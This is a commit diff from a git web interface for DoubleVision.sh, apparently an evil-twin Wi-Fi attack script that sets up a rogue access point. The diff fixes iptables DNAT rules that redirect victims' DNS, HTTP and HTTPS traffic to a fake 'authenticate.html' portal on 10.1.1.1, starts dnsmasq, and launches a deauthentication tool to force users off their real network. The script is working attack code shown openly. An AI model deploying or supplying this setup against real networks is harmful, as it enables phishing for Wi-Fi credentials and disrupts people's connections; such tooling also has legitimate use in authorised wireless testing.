assume-breach 3 лет назад
Родитель
Сommit
aabb04f36e
1 измененных файлов с 5 добавлено и 3 удалено
  1. 5 3
      DoubleVision/DoubleVision.sh

+ 5 - 3
DoubleVision/DoubleVision.sh

@@ -16,16 +16,18 @@ sysctl net.ipv4.ip_forward=1
 echo "<meta http-equiv="refresh" content=2;URL='http://10.1.1.1/authenticate.html'>">> /var/www/html/index.html
 iptables --flush
 iptables -t nat --flush
-iptables -t nat -A PREROUTING -i br0 -p udp -m udp --dport 53 -j DNAT --to-destination >
-iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 80 -j DNAT --to-destination >
-iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 443 -j DNAT --to-destination>
+iptables -t nat -A PREROUTING -i br0 -p udp -m udp --dport 53 -j DNAT --to-destination 10.1.1.1:53
+iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 80 -j DNAT --to-destination 10.1.1.1:80
+iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 443 -j DNAT --to-destination 10.1.1.1:443
 iptables -t nat -A POSTROUTING -j MASQUERADE
 sleep 2
 service dnsmasq start
 sleep 4
 echo "AP Should Be Up. Time To Deauth"
+echo ""
 sleep 2
 echo "Press CTRL+B then press D to disconnect TMUX Session Once Deauth Is Started"
+echo ""
 tmux new -s deauth 'cd PwrDeauther &&  bash PwrDeauther.sh'